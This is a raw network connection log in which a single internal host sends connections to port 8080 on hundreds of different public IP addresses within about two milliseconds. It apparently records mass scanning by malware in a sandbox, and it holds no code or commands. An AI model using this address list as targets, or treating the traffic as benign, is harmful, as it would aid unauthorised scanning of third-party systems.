Nov 23, 2023 05:14:49.624324083 CET	54202	8080	192.168.2.13	94.15.219.152
Nov 23, 2023 05:14:49.624324083 CET	54202	8080	192.168.2.13	62.74.33.243
Nov 23, 2023 05:14:49.624336958 CET	54202	8080	192.168.2.13	31.170.66.23
Nov 23, 2023 05:14:49.624340057 CET	54202	8080	192.168.2.13	62.119.189.62
Nov 23, 2023 05:14:49.624346972 CET	54202	8080	192.168.2.13	85.9.153.223
Nov 23, 2023 05:14:49.624362946 CET	54202	8080	192.168.2.13	95.75.227.107
Nov 23, 2023 05:14:49.624366045 CET	54202	8080	192.168.2.13	31.162.252.22
Nov 23, 2023 05:14:49.624368906 CET	54202	8080	192.168.2.13	95.100.160.66
Nov 23, 2023 05:14:49.624372005 CET	54202	8080	192.168.2.13	62.172.201.229
Nov 23, 2023 05:14:49.624372005 CET	54202	8080	192.168.2.13	85.134.135.230
Nov 23, 2023 05:14:49.624378920 CET	54202	8080	192.168.2.13	85.53.67.162
Nov 23, 2023 05:14:49.624381065 CET	54202	8080	192.168.2.13	94.79.213.195
Nov 23, 2023 05:14:49.624386072 CET	54202	8080	192.168.2.13	31.183.90.96
Nov 23, 2023 05:14:49.624391079 CET	54202	8080	192.168.2.13	31.31.239.194
Nov 23, 2023 05:14:49.624391079 CET	54202	8080	192.168.2.13	85.57.48.227
Nov 23, 2023 05:14:49.624391079 CET	54202	8080	192.168.2.13	94.36.124.162
Nov 23, 2023 05:14:49.624394894 CET	54202	8080	192.168.2.13	85.196.84.56
Nov 23, 2023 05:14:49.624394894 CET	54202	8080	192.168.2.13	95.255.110.130
Nov 23, 2023 05:14:49.624397993 CET	54202	8080	192.168.2.13	31.221.19.18
Nov 23, 2023 05:14:49.624401093 CET	54202	8080	192.168.2.13	94.91.7.114
Nov 23, 2023 05:14:49.624407053 CET	54202	8080	192.168.2.13	85.249.221.71
Nov 23, 2023 05:14:49.624423981 CET	54202	8080	192.168.2.13	85.100.193.242
Nov 23, 2023 05:14:49.624427080 CET	54202	8080	192.168.2.13	62.188.24.178
Nov 23, 2023 05:14:49.624428034 CET	54202	8080	192.168.2.13	95.39.167.20
Nov 23, 2023 05:14:49.624428034 CET	54202	8080	192.168.2.13	85.6.153.137
Nov 23, 2023 05:14:49.624428034 CET	54202	8080	192.168.2.13	85.4.201.51
Nov 23, 2023 05:14:49.624428988 CET	54202	8080	192.168.2.13	62.214.187.153
Nov 23, 2023 05:14:49.624429941 CET	54202	8080	192.168.2.13	85.249.122.15
Nov 23, 2023 05:14:49.624428988 CET	54202	8080	192.168.2.13	62.119.153.30
Nov 23, 2023 05:14:49.624447107 CET	54202	8080	192.168.2.13	31.63.194.61
Nov 23, 2023 05:14:49.624447107 CET	54202	8080	192.168.2.13	31.127.89.203
Nov 23, 2023 05:14:49.624447107 CET	54202	8080	192.168.2.13	31.156.193.62
Nov 23, 2023 05:14:49.624466896 CET	54202	8080	192.168.2.13	62.209.169.167
Nov 23, 2023 05:14:49.624469995 CET	54202	8080	192.168.2.13	62.63.213.29
Nov 23, 2023 05:14:49.624471903 CET	54202	8080	192.168.2.13	95.224.128.127
Nov 23, 2023 05:14:49.624476910 CET	54202	8080	192.168.2.13	94.154.121.159
Nov 23, 2023 05:14:49.624496937 CET	54202	8080	192.168.2.13	62.219.101.203
Nov 23, 2023 05:14:49.624500036 CET	54202	8080	192.168.2.13	62.226.231.72
Nov 23, 2023 05:14:49.624500036 CET	54202	8080	192.168.2.13	85.206.107.207
Nov 23, 2023 05:14:49.624502897 CET	54202	8080	192.168.2.13	94.23.233.75
Nov 23, 2023 05:14:49.624509096 CET	54202	8080	192.168.2.13	95.172.222.107
Nov 23, 2023 05:14:49.624509096 CET	54202	8080	192.168.2.13	62.140.15.141
Nov 23, 2023 05:14:49.624512911 CET	54202	8080	192.168.2.13	85.63.19.83
Nov 23, 2023 05:14:49.624515057 CET	54202	8080	192.168.2.13	31.107.236.231
Nov 23, 2023 05:14:49.624519110 CET	54202	8080	192.168.2.13	94.71.202.235
Nov 23, 2023 05:14:49.624524117 CET	54202	8080	192.168.2.13	95.200.31.50
Nov 23, 2023 05:14:49.624524117 CET	54202	8080	192.168.2.13	95.179.58.227
Nov 23, 2023 05:14:49.624532938 CET	54202	8080	192.168.2.13	31.121.133.246
Nov 23, 2023 05:14:49.624536037 CET	54202	8080	192.168.2.13	31.201.93.99
Nov 23, 2023 05:14:49.624552965 CET	54202	8080	192.168.2.13	95.6.59.197
Nov 23, 2023 05:14:49.624552965 CET	54202	8080	192.168.2.13	94.52.157.9
Nov 23, 2023 05:14:49.624555111 CET	54202	8080	192.168.2.13	95.167.116.151
Nov 23, 2023 05:14:49.624555111 CET	54202	8080	192.168.2.13	31.132.17.159
Nov 23, 2023 05:14:49.624568939 CET	54202	8080	192.168.2.13	85.7.168.211
Nov 23, 2023 05:14:49.624572992 CET	54202	8080	192.168.2.13	95.171.139.241
Nov 23, 2023 05:14:49.624577045 CET	54202	8080	192.168.2.13	94.82.12.26
Nov 23, 2023 05:14:49.624577045 CET	54202	8080	192.168.2.13	94.34.102.52
Nov 23, 2023 05:14:49.624588966 CET	54202	8080	192.168.2.13	62.150.238.193
Nov 23, 2023 05:14:49.624589920 CET	54202	8080	192.168.2.13	62.156.91.159
Nov 23, 2023 05:14:49.624598980 CET	54202	8080	192.168.2.13	85.58.99.176
Nov 23, 2023 05:14:49.624618053 CET	54202	8080	192.168.2.13	94.101.133.14
Nov 23, 2023 05:14:49.624625921 CET	54202	8080	192.168.2.13	95.249.27.38
Nov 23, 2023 05:14:49.624625921 CET	54202	8080	192.168.2.13	95.115.62.64
Nov 23, 2023 05:14:49.624630928 CET	54202	8080	192.168.2.13	62.217.223.19
Nov 23, 2023 05:14:49.624640942 CET	54202	8080	192.168.2.13	31.1.210.64
Nov 23, 2023 05:14:49.624646902 CET	54202	8080	192.168.2.13	31.131.237.250
Nov 23, 2023 05:14:49.624646902 CET	54202	8080	192.168.2.13	85.72.253.235
Nov 23, 2023 05:14:49.624666929 CET	54202	8080	192.168.2.13	94.225.221.227
Nov 23, 2023 05:14:49.624666929 CET	54202	8080	192.168.2.13	85.64.29.254
Nov 23, 2023 05:14:49.624667883 CET	54202	8080	192.168.2.13	94.43.114.114
Nov 23, 2023 05:14:49.624677896 CET	54202	8080	192.168.2.13	95.19.11.147
Nov 23, 2023 05:14:49.624684095 CET	54202	8080	192.168.2.13	62.248.253.104
Nov 23, 2023 05:14:49.624684095 CET	54202	8080	192.168.2.13	62.198.31.254
Nov 23, 2023 05:14:49.624685049 CET	54202	8080	192.168.2.13	31.54.78.241
Nov 23, 2023 05:14:49.624694109 CET	54202	8080	192.168.2.13	94.0.184.170
Nov 23, 2023 05:14:49.624697924 CET	54202	8080	192.168.2.13	62.103.85.190
Nov 23, 2023 05:14:49.624702930 CET	54202	8080	192.168.2.13	94.192.124.247
Nov 23, 2023 05:14:49.624721050 CET	54202	8080	192.168.2.13	85.62.187.75
Nov 23, 2023 05:14:49.624722958 CET	54202	8080	192.168.2.13	62.153.75.130
Nov 23, 2023 05:14:49.624722958 CET	54202	8080	192.168.2.13	85.177.18.188
Nov 23, 2023 05:14:49.624730110 CET	54202	8080	192.168.2.13	62.70.98.212
Nov 23, 2023 05:14:49.624731064 CET	54202	8080	192.168.2.13	94.118.247.246
Nov 23, 2023 05:14:49.624732971 CET	54202	8080	192.168.2.13	62.221.191.19
Nov 23, 2023 05:14:49.624735117 CET	54202	8080	192.168.2.13	85.31.191.197
Nov 23, 2023 05:14:49.624735117 CET	54202	8080	192.168.2.13	95.175.92.160
Nov 23, 2023 05:14:49.624747992 CET	54202	8080	192.168.2.13	95.148.50.150
Nov 23, 2023 05:14:49.624748945 CET	54202	8080	192.168.2.13	62.123.244.202
Nov 23, 2023 05:14:49.624756098 CET	54202	8080	192.168.2.13	31.32.90.221
Nov 23, 2023 05:14:49.624768019 CET	54202	8080	192.168.2.13	85.147.45.125
Nov 23, 2023 05:14:49.624769926 CET	54202	8080	192.168.2.13	95.245.56.218
Nov 23, 2023 05:14:49.624773979 CET	54202	8080	192.168.2.13	95.9.87.19
Nov 23, 2023 05:14:49.624777079 CET	54202	8080	192.168.2.13	62.237.122.180
Nov 23, 2023 05:14:49.624790907 CET	54202	8080	192.168.2.13	95.3.88.165
Nov 23, 2023 05:14:49.624790907 CET	54202	8080	192.168.2.13	31.11.165.250
Nov 23, 2023 05:14:49.624794960 CET	54202	8080	192.168.2.13	94.152.100.210
Nov 23, 2023 05:14:49.624798059 CET	54202	8080	192.168.2.13	31.235.31.9
Nov 23, 2023 05:14:49.624809980 CET	54202	8080	192.168.2.13	85.116.154.73
Nov 23, 2023 05:14:49.624814987 CET	54202	8080	192.168.2.13	95.176.29.184
Nov 23, 2023 05:14:49.624814987 CET	54202	8080	192.168.2.13	85.169.115.243
Nov 23, 2023 05:14:49.624824047 CET	54202	8080	192.168.2.13	94.197.220.113
Nov 23, 2023 05:14:49.624825001 CET	54202	8080	192.168.2.13	62.121.245.239
Nov 23, 2023 05:14:49.624839067 CET	54202	8080	192.168.2.13	95.253.22.209
Nov 23, 2023 05:14:49.624840975 CET	54202	8080	192.168.2.13	62.207.95.130
Nov 23, 2023 05:14:49.624840975 CET	54202	8080	192.168.2.13	85.197.74.180
Nov 23, 2023 05:14:49.624844074 CET	54202	8080	192.168.2.13	62.218.216.19
Nov 23, 2023 05:14:49.624852896 CET	54202	8080	192.168.2.13	62.119.124.187
Nov 23, 2023 05:14:49.624852896 CET	54202	8080	192.168.2.13	95.122.184.143
Nov 23, 2023 05:14:49.624856949 CET	54202	8080	192.168.2.13	94.229.51.124
Nov 23, 2023 05:14:49.624872923 CET	54202	8080	192.168.2.13	31.77.206.241
Nov 23, 2023 05:14:49.624875069 CET	54202	8080	192.168.2.13	85.223.81.102
Nov 23, 2023 05:14:49.624877930 CET	54202	8080	192.168.2.13	31.201.169.124
Nov 23, 2023 05:14:49.624881983 CET	54202	8080	192.168.2.13	85.6.199.106
Nov 23, 2023 05:14:49.624885082 CET	54202	8080	192.168.2.13	94.162.171.229
Nov 23, 2023 05:14:49.624892950 CET	54202	8080	192.168.2.13	31.205.253.20
Nov 23, 2023 05:14:49.624893904 CET	54202	8080	192.168.2.13	31.166.212.150
Nov 23, 2023 05:14:49.624901056 CET	54202	8080	192.168.2.13	31.78.130.233
Nov 23, 2023 05:14:49.624902964 CET	54202	8080	192.168.2.13	94.249.115.61
Nov 23, 2023 05:14:49.624906063 CET	54202	8080	192.168.2.13	62.76.255.21
Nov 23, 2023 05:14:49.624910116 CET	54202	8080	192.168.2.13	62.110.251.193
Nov 23, 2023 05:14:49.624914885 CET	54202	8080	192.168.2.13	62.47.247.40
Nov 23, 2023 05:14:49.624929905 CET	54202	8080	192.168.2.13	85.27.178.113
Nov 23, 2023 05:14:49.624931097 CET	54202	8080	192.168.2.13	85.30.246.4
Nov 23, 2023 05:14:49.624931097 CET	54202	8080	192.168.2.13	85.96.50.136
Nov 23, 2023 05:14:49.624931097 CET	54202	8080	192.168.2.13	85.198.220.248
Nov 23, 2023 05:14:49.624941111 CET	54202	8080	192.168.2.13	62.188.140.90
Nov 23, 2023 05:14:49.624949932 CET	54202	8080	192.168.2.13	85.47.214.93
Nov 23, 2023 05:14:49.624953985 CET	54202	8080	192.168.2.13	85.51.188.28
Nov 23, 2023 05:14:49.624957085 CET	54202	8080	192.168.2.13	31.43.216.244
Nov 23, 2023 05:14:49.624968052 CET	54202	8080	192.168.2.13	94.168.42.220
Nov 23, 2023 05:14:49.624970913 CET	54202	8080	192.168.2.13	31.208.208.246
Nov 23, 2023 05:14:49.624970913 CET	54202	8080	192.168.2.13	95.72.17.243
Nov 23, 2023 05:14:49.624975920 CET	54202	8080	192.168.2.13	62.151.136.114
Nov 23, 2023 05:14:49.624979973 CET	54202	8080	192.168.2.13	95.55.217.34
Nov 23, 2023 05:14:49.624989033 CET	54202	8080	192.168.2.13	31.85.188.176
Nov 23, 2023 05:14:49.624990940 CET	54202	8080	192.168.2.13	85.71.60.154
Nov 23, 2023 05:14:49.624998093 CET	54202	8080	192.168.2.13	95.237.233.160
Nov 23, 2023 05:14:49.624998093 CET	54202	8080	192.168.2.13	62.89.48.5
Nov 23, 2023 05:14:49.625008106 CET	54202	8080	192.168.2.13	31.42.20.172
Nov 23, 2023 05:14:49.625011921 CET	54202	8080	192.168.2.13	95.171.175.217
Nov 23, 2023 05:14:49.625016928 CET	54202	8080	192.168.2.13	94.166.57.100
Nov 23, 2023 05:14:49.625030994 CET	54202	8080	192.168.2.13	95.36.40.30
Nov 23, 2023 05:14:49.625035048 CET	54202	8080	192.168.2.13	94.26.255.105
Nov 23, 2023 05:14:49.625040054 CET	54202	8080	192.168.2.13	85.87.77.113
Nov 23, 2023 05:14:49.625041008 CET	54202	8080	192.168.2.13	94.168.2.23
Nov 23, 2023 05:14:49.625049114 CET	54202	8080	192.168.2.13	85.213.159.80
Nov 23, 2023 05:14:49.625056028 CET	54202	8080	192.168.2.13	31.206.16.230
Nov 23, 2023 05:14:49.625061989 CET	54202	8080	192.168.2.13	85.184.142.113
Nov 23, 2023 05:14:49.625072956 CET	54202	8080	192.168.2.13	94.255.241.126
Nov 23, 2023 05:14:49.625072956 CET	54202	8080	192.168.2.13	85.127.235.41
Nov 23, 2023 05:14:49.625075102 CET	54202	8080	192.168.2.13	94.228.107.2
Nov 23, 2023 05:14:49.625082970 CET	54202	8080	192.168.2.13	94.32.18.139
Nov 23, 2023 05:14:49.625083923 CET	54202	8080	192.168.2.13	31.84.149.178
Nov 23, 2023 05:14:49.625086069 CET	54202	8080	192.168.2.13	31.30.155.34
Nov 23, 2023 05:14:49.625086069 CET	54202	8080	192.168.2.13	62.16.108.79
Nov 23, 2023 05:14:49.625102043 CET	54202	8080	192.168.2.13	94.5.44.220
Nov 23, 2023 05:14:49.625108957 CET	54202	8080	192.168.2.13	62.148.98.249
Nov 23, 2023 05:14:49.625119925 CET	54202	8080	192.168.2.13	95.209.102.174
Nov 23, 2023 05:14:49.625128984 CET	54202	8080	192.168.2.13	85.243.141.142
Nov 23, 2023 05:14:49.625129938 CET	54202	8080	192.168.2.13	62.163.211.239
Nov 23, 2023 05:14:49.625130892 CET	54202	8080	192.168.2.13	95.156.252.182
Nov 23, 2023 05:14:49.625132084 CET	54202	8080	192.168.2.13	85.86.195.219
Nov 23, 2023 05:14:49.625139952 CET	54202	8080	192.168.2.13	85.116.24.246
Nov 23, 2023 05:14:49.625154018 CET	54202	8080	192.168.2.13	94.120.92.58
Nov 23, 2023 05:14:49.625154018 CET	54202	8080	192.168.2.13	95.236.62.227
Nov 23, 2023 05:14:49.625154972 CET	54202	8080	192.168.2.13	85.244.40.37
Nov 23, 2023 05:14:49.625157118 CET	54202	8080	192.168.2.13	85.35.139.94
Nov 23, 2023 05:14:49.625165939 CET	54202	8080	192.168.2.13	95.255.39.175
Nov 23, 2023 05:14:49.625169992 CET	54202	8080	192.168.2.13	31.72.177.221
Nov 23, 2023 05:14:49.625180006 CET	54202	8080	192.168.2.13	85.180.192.201
Nov 23, 2023 05:14:49.625190020 CET	54202	8080	192.168.2.13	31.226.173.127
Nov 23, 2023 05:14:49.625193119 CET	54202	8080	192.168.2.13	31.20.223.223
Nov 23, 2023 05:14:49.625196934 CET	54202	8080	192.168.2.13	31.98.178.125
Nov 23, 2023 05:14:49.625204086 CET	54202	8080	192.168.2.13	85.33.254.78
Nov 23, 2023 05:14:49.625214100 CET	54202	8080	192.168.2.13	85.124.218.246
Nov 23, 2023 05:14:49.625219107 CET	54202	8080	192.168.2.13	95.110.23.4
Nov 23, 2023 05:14:49.625221968 CET	54202	8080	192.168.2.13	85.70.8.165
Nov 23, 2023 05:14:49.625226974 CET	54202	8080	192.168.2.13	95.100.152.65
Nov 23, 2023 05:14:49.625231028 CET	54202	8080	192.168.2.13	85.78.10.60
Nov 23, 2023 05:14:49.625245094 CET	54202	8080	192.168.2.13	95.237.77.145
Nov 23, 2023 05:14:49.625250101 CET	54202	8080	192.168.2.13	94.92.22.84
Nov 23, 2023 05:14:49.625250101 CET	54202	8080	192.168.2.13	94.88.208.36
Nov 23, 2023 05:14:49.625257969 CET	54202	8080	192.168.2.13	94.53.86.202
Nov 23, 2023 05:14:49.625264883 CET	54202	8080	192.168.2.13	85.33.29.92
Nov 23, 2023 05:14:49.625286102 CET	54202	8080	192.168.2.13	85.188.142.31
Nov 23, 2023 05:14:49.625287056 CET	54202	8080	192.168.2.13	94.202.85.63
Nov 23, 2023 05:14:49.625291109 CET	54202	8080	192.168.2.13	95.221.5.181
Nov 23, 2023 05:14:49.625291109 CET	54202	8080	192.168.2.13	31.254.207.166
Nov 23, 2023 05:14:49.625293970 CET	54202	8080	192.168.2.13	62.195.241.134
Nov 23, 2023 05:14:49.625303984 CET	54202	8080	192.168.2.13	95.139.77.226
Nov 23, 2023 05:14:49.625309944 CET	54202	8080	192.168.2.13	31.124.233.115
Nov 23, 2023 05:14:49.625313044 CET	54202	8080	192.168.2.13	62.77.233.66
Nov 23, 2023 05:14:49.625322104 CET	54202	8080	192.168.2.13	95.221.10.5
Nov 23, 2023 05:14:49.625328064 CET	54202	8080	192.168.2.13	85.96.184.70
Nov 23, 2023 05:14:49.625341892 CET	54202	8080	192.168.2.13	95.114.44.246
Nov 23, 2023 05:14:49.625343084 CET	54202	8080	192.168.2.13	85.113.207.147
Nov 23, 2023 05:14:49.625354052 CET	54202	8080	192.168.2.13	95.56.22.244
Nov 23, 2023 05:14:49.625354052 CET	54202	8080	192.168.2.13	95.244.70.116
Nov 23, 2023 05:14:49.625364065 CET	54202	8080	192.168.2.13	31.205.160.146
Nov 23, 2023 05:14:49.625379086 CET	54202	8080	192.168.2.13	94.153.108.44
Nov 23, 2023 05:14:49.625386000 CET	54202	8080	192.168.2.13	85.43.103.193
Nov 23, 2023 05:14:49.625387907 CET	54202	8080	192.168.2.13	95.106.122.61
Nov 23, 2023 05:14:49.625389099 CET	54202	8080	192.168.2.13	62.145.181.131
Nov 23, 2023 05:14:49.625392914 CET	54202	8080	192.168.2.13	31.151.131.192
Nov 23, 2023 05:14:49.625392914 CET	54202	8080	192.168.2.13	62.64.69.252
Nov 23, 2023 05:14:49.625392914 CET	54202	8080	192.168.2.13	85.252.140.164
Nov 23, 2023 05:14:49.625397921 CET	54202	8080	192.168.2.13	62.126.2.161
Nov 23, 2023 05:14:49.625397921 CET	54202	8080	192.168.2.13	95.25.33.79
Nov 23, 2023 05:14:49.625401020 CET	54202	8080	192.168.2.13	94.165.37.142
Nov 23, 2023 05:14:49.625401020 CET	54202	8080	192.168.2.13	62.245.19.195
Nov 23, 2023 05:14:49.625406027 CET	54202	8080	192.168.2.13	62.36.123.103
Nov 23, 2023 05:14:49.625415087 CET	54202	8080	192.168.2.13	62.194.172.194
Nov 23, 2023 05:14:49.625416040 CET	54202	8080	192.168.2.13	62.67.167.2
Nov 23, 2023 05:14:49.625430107 CET	54202	8080	192.168.2.13	31.117.148.62
Nov 23, 2023 05:14:49.625432014 CET	54202	8080	192.168.2.13	62.72.248.75
Nov 23, 2023 05:14:49.625435114 CET	54202	8080	192.168.2.13	31.187.202.223
Nov 23, 2023 05:14:49.625436068 CET	54202	8080	192.168.2.13	95.35.46.196
Nov 23, 2023 05:14:49.625441074 CET	54202	8080	192.168.2.13	62.223.141.73
Nov 23, 2023 05:14:49.625442982 CET	54202	8080	192.168.2.13	85.212.114.255
Nov 23, 2023 05:14:49.625463963 CET	54202	8080	192.168.2.13	94.127.0.200
Nov 23, 2023 05:14:49.625464916 CET	54202	8080	192.168.2.13	85.10.196.8
Nov 23, 2023 05:14:49.625466108 CET	54202	8080	192.168.2.13	95.146.9.140
Nov 23, 2023 05:14:49.625466108 CET	54202	8080	192.168.2.13	31.123.196.155
Nov 23, 2023 05:14:49.625467062 CET	54202	8080	192.168.2.13	85.6.25.156
Nov 23, 2023 05:14:49.625468016 CET	54202	8080	192.168.2.13	95.44.204.187
Nov 23, 2023 05:14:49.625472069 CET	54202	8080	192.168.2.13	31.74.105.133
Nov 23, 2023 05:14:49.625477076 CET	54202	8080	192.168.2.13	95.61.43.74
Nov 23, 2023 05:14:49.625488043 CET	54202	8080	192.168.2.13	95.126.18.103
Nov 23, 2023 05:14:49.625488043 CET	54202	8080	192.168.2.13	31.96.0.151
Nov 23, 2023 05:14:49.625492096 CET	54202	8080	192.168.2.13	62.212.199.49
Nov 23, 2023 05:14:49.625504971 CET	54202	8080	192.168.2.13	94.7.17.94
Nov 23, 2023 05:14:49.625505924 CET	54202	8080	192.168.2.13	85.0.77.143
Nov 23, 2023 05:14:49.625526905 CET	54202	8080	192.168.2.13	85.112.114.39
Nov 23, 2023 05:14:49.625528097 CET	54202	8080	192.168.2.13	62.130.169.78
Nov 23, 2023 05:14:49.625528097 CET	54202	8080	192.168.2.13	31.203.61.85
Nov 23, 2023 05:14:49.625541925 CET	54202	8080	192.168.2.13	31.218.19.73
Nov 23, 2023 05:14:49.625546932 CET	54202	8080	192.168.2.13	31.179.144.9
Nov 23, 2023 05:14:49.625547886 CET	54202	8080	192.168.2.13	85.62.238.109
Nov 23, 2023 05:14:49.625547886 CET	54202	8080	192.168.2.13	62.98.157.15
Nov 23, 2023 05:14:49.625567913 CET	54202	8080	192.168.2.13	94.15.159.65
Nov 23, 2023 05:14:49.625570059 CET	54202	8080	192.168.2.13	31.224.63.249
Nov 23, 2023 05:14:49.625572920 CET	54202	8080	192.168.2.13	95.30.208.53
Nov 23, 2023 05:14:49.625576019 CET	54202	8080	192.168.2.13	85.186.193.162
Nov 23, 2023 05:14:49.625585079 CET	54202	8080	192.168.2.13	95.135.5.152
Nov 23, 2023 05:14:49.625597954 CET	54202	8080	192.168.2.13	62.213.59.23
Nov 23, 2023 05:14:49.625601053 CET	54202	8080	192.168.2.13	62.145.146.107
Nov 23, 2023 05:14:49.625601053 CET	54202	8080	192.168.2.13	95.176.198.80
Nov 23, 2023 05:14:49.625602007 CET	54202	8080	192.168.2.13	85.166.187.225
Nov 23, 2023 05:14:49.625602007 CET	54202	8080	192.168.2.13	31.3.121.3
Nov 23, 2023 05:14:49.625607014 CET	54202	8080	192.168.2.13	62.128.44.110
Nov 23, 2023 05:14:49.625607014 CET	54202	8080	192.168.2.13	31.203.81.85
Nov 23, 2023 05:14:49.625607014 CET	54202	8080	192.168.2.13	95.194.90.225
Nov 23, 2023 05:14:49.625611067 CET	54202	8080	192.168.2.13	95.14.157.86
Nov 23, 2023 05:14:49.625623941 CET	54202	8080	192.168.2.13	85.16.159.154
Nov 23, 2023 05:14:49.625629902 CET	54202	8080	192.168.2.13	95.202.200.164
Nov 23, 2023 05:14:49.625629902 CET	54202	8080	192.168.2.13	95.103.238.185
Nov 23, 2023 05:14:49.625629902 CET	54202	8080	192.168.2.13	62.219.217.0
Nov 23, 2023 05:14:49.625631094 CET	54202	8080	192.168.2.13	62.20.13.151
Nov 23, 2023 05:14:49.625631094 CET	54202	8080	192.168.2.13	94.246.214.135
Nov 23, 2023 05:14:49.625633001 CET	54202	8080	192.168.2.13	95.167.115.187
Nov 23, 2023 05:14:49.625644922 CET	54202	8080	192.168.2.13	85.51.10.56
Nov 23, 2023 05:14:49.625647068 CET	54202	8080	192.168.2.13	95.203.38.65
Nov 23, 2023 05:14:49.625663996 CET	54202	8080	192.168.2.13	85.148.134.205
Nov 23, 2023 05:14:49.625667095 CET	54202	8080	192.168.2.13	85.175.201.210
Nov 23, 2023 05:14:49.625667095 CET	54202	8080	192.168.2.13	31.169.202.81
Nov 23, 2023 05:14:49.625679970 CET	54202	8080	192.168.2.13	62.60.254.219
Nov 23, 2023 05:14:49.625680923 CET	54202	8080	192.168.2.13	85.249.245.254
Nov 23, 2023 05:14:49.625694990 CET	54202	8080	192.168.2.13	85.132.117.73
Nov 23, 2023 05:14:49.625704050 CET	54202	8080	192.168.2.13	94.246.167.129
Nov 23, 2023 05:14:49.625705004 CET	54202	8080	192.168.2.13	94.148.4.107
Nov 23, 2023 05:14:49.625714064 CET	54202	8080	192.168.2.13	85.55.42.241
Nov 23, 2023 05:14:49.625714064 CET	54202	8080	192.168.2.13	31.142.119.33
Nov 23, 2023 05:14:49.625729084 CET	54202	8080	192.168.2.13	94.156.21.53
Nov 23, 2023 05:14:49.625730991 CET	54202	8080	192.168.2.13	94.61.136.100
Nov 23, 2023 05:14:49.625735044 CET	54202	8080	192.168.2.13	31.245.38.189
Nov 23, 2023 05:14:49.625744104 CET	54202	8080	192.168.2.13	62.184.115.161
Nov 23, 2023 05:14:49.625747919 CET	54202	8080	192.168.2.13	85.69.11.226
Nov 23, 2023 05:14:49.625747919 CET	54202	8080	192.168.2.13	94.55.9.162
Nov 23, 2023 05:14:49.625747919 CET	54202	8080	192.168.2.13	95.235.108.248
Nov 23, 2023 05:14:49.625758886 CET	54202	8080	192.168.2.13	95.122.186.179
Nov 23, 2023 05:14:49.625762939 CET	54202	8080	192.168.2.13	31.205.240.149
Nov 23, 2023 05:14:49.625776052 CET	54202	8080	192.168.2.13	95.9.242.229
Nov 23, 2023 05:14:49.625781059 CET	54202	8080	192.168.2.13	95.177.165.122
Nov 23, 2023 05:14:49.625782967 CET	54202	8080	192.168.2.13	31.117.143.223
Nov 23, 2023 05:14:49.625793934 CET	54202	8080	192.168.2.13	94.241.144.150
Nov 23, 2023 05:14:49.625797987 CET	54202	8080	192.168.2.13	95.86.26.106
Nov 23, 2023 05:14:49.625802994 CET	54202	8080	192.168.2.13	62.166.32.159
Nov 23, 2023 05:14:49.625806093 CET	54202	8080	192.168.2.13	95.81.138.155
Nov 23, 2023 05:14:49.625808954 CET	54202	8080	192.168.2.13	62.138.28.131
Nov 23, 2023 05:14:49.625811100 CET	54202	8080	192.168.2.13	31.201.177.42
Nov 23, 2023 05:14:49.625811100 CET	54202	8080	192.168.2.13	85.8.138.215
Nov 23, 2023 05:14:49.625821114 CET	54202	8080	192.168.2.13	62.190.253.187
Nov 23, 2023 05:14:49.625830889 CET	54202	8080	192.168.2.13	85.36.98.144
Nov 23, 2023 05:14:49.625833035 CET	54202	8080	192.168.2.13	95.157.43.64
Nov 23, 2023 05:14:49.625847101 CET	54202	8080	192.168.2.13	31.179.46.158
Nov 23, 2023 05:14:49.625849962 CET	54202	8080	192.168.2.13	62.155.212.195
Nov 23, 2023 05:14:49.625853062 CET	54202	8080	192.168.2.13	31.41.194.108
Nov 23, 2023 05:14:49.625853062 CET	54202	8080	192.168.2.13	94.57.131.199
Nov 23, 2023 05:14:49.625854015 CET	54202	8080	192.168.2.13	95.244.119.130
Nov 23, 2023 05:14:49.625864029 CET	54202	8080	192.168.2.13	31.130.201.243
Nov 23, 2023 05:14:49.625875950 CET	54202	8080	192.168.2.13	94.151.231.94
Nov 23, 2023 05:14:49.625885010 CET	54202	8080	192.168.2.13	31.83.47.221
Nov 23, 2023 05:14:49.625889063 CET	54202	8080	192.168.2.13	62.78.52.111
Nov 23, 2023 05:14:49.625890017 CET	54202	8080	192.168.2.13	94.255.196.179
Nov 23, 2023 05:14:49.625890017 CET	54202	8080	192.168.2.13	31.224.156.134
Nov 23, 2023 05:14:49.625895977 CET	54202	8080	192.168.2.13	31.200.60.86
Nov 23, 2023 05:14:49.625895977 CET	54202	8080	192.168.2.13	95.188.199.236
Nov 23, 2023 05:14:49.625896931 CET	54202	8080	192.168.2.13	62.126.201.198
Nov 23, 2023 05:14:49.625912905 CET	54202	8080	192.168.2.13	95.91.247.161
Nov 23, 2023 05:14:49.625912905 CET	54202	8080	192.168.2.13	85.234.150.212
Nov 23, 2023 05:14:49.625920057 CET	54202	8080	192.168.2.13	31.47.96.71
Nov 23, 2023 05:14:49.625924110 CET	54202	8080	192.168.2.13	62.221.230.77
Nov 23, 2023 05:14:49.625929117 CET	54202	8080	192.168.2.13	95.218.100.195
Nov 23, 2023 05:14:49.625935078 CET	54202	8080	192.168.2.13	85.35.133.148
Nov 23, 2023 05:14:49.625937939 CET	54202	8080	192.168.2.13	62.8.80.7
Nov 23, 2023 05:14:49.625945091 CET	54202	8080	192.168.2.13	95.140.234.157
Nov 23, 2023 05:14:49.625958920 CET	54202	8080	192.168.2.13	85.181.18.217
Nov 23, 2023 05:14:49.625961065 CET	54202	8080	192.168.2.13	85.61.105.149
Nov 23, 2023 05:14:49.625962973 CET	54202	8080	192.168.2.13	31.205.209.104
Nov 23, 2023 05:14:49.625963926 CET	54202	8080	192.168.2.13	62.14.82.197
Nov 23, 2023 05:14:49.625963926 CET	54202	8080	192.168.2.13	62.64.232.205
Nov 23, 2023 05:14:49.625968933 CET	54202	8080	192.168.2.13	94.204.101.175
Nov 23, 2023 05:14:49.625982046 CET	54202	8080	192.168.2.13	94.47.171.169
Nov 23, 2023 05:14:49.625983000 CET	54202	8080	192.168.2.13	94.107.74.1
Nov 23, 2023 05:14:49.625983953 CET	54202	8080	192.168.2.13	31.94.225.141
Nov 23, 2023 05:14:49.625988960 CET	54202	8080	192.168.2.13	31.92.248.27
Nov 23, 2023 05:14:49.625996113 CET	54202	8080	192.168.2.13	62.105.58.99
Nov 23, 2023 05:14:49.625996113 CET	54202	8080	192.168.2.13	62.208.90.171
Nov 23, 2023 05:14:49.626015902 CET	54202	8080	192.168.2.13	95.208.201.126
Nov 23, 2023 05:14:49.626017094 CET	54202	8080	192.168.2.13	31.98.211.33
Nov 23, 2023 05:14:49.626023054 CET	54202	8080	192.168.2.13	85.208.141.82
Nov 23, 2023 05:14:49.626023054 CET	54202	8080	192.168.2.13	95.179.231.132
Nov 23, 2023 05:14:49.626024961 CET	54202	8080	192.168.2.13	62.225.210.137
Nov 23, 2023 05:14:49.626033068 CET	54202	8080	192.168.2.13	94.219.246.102
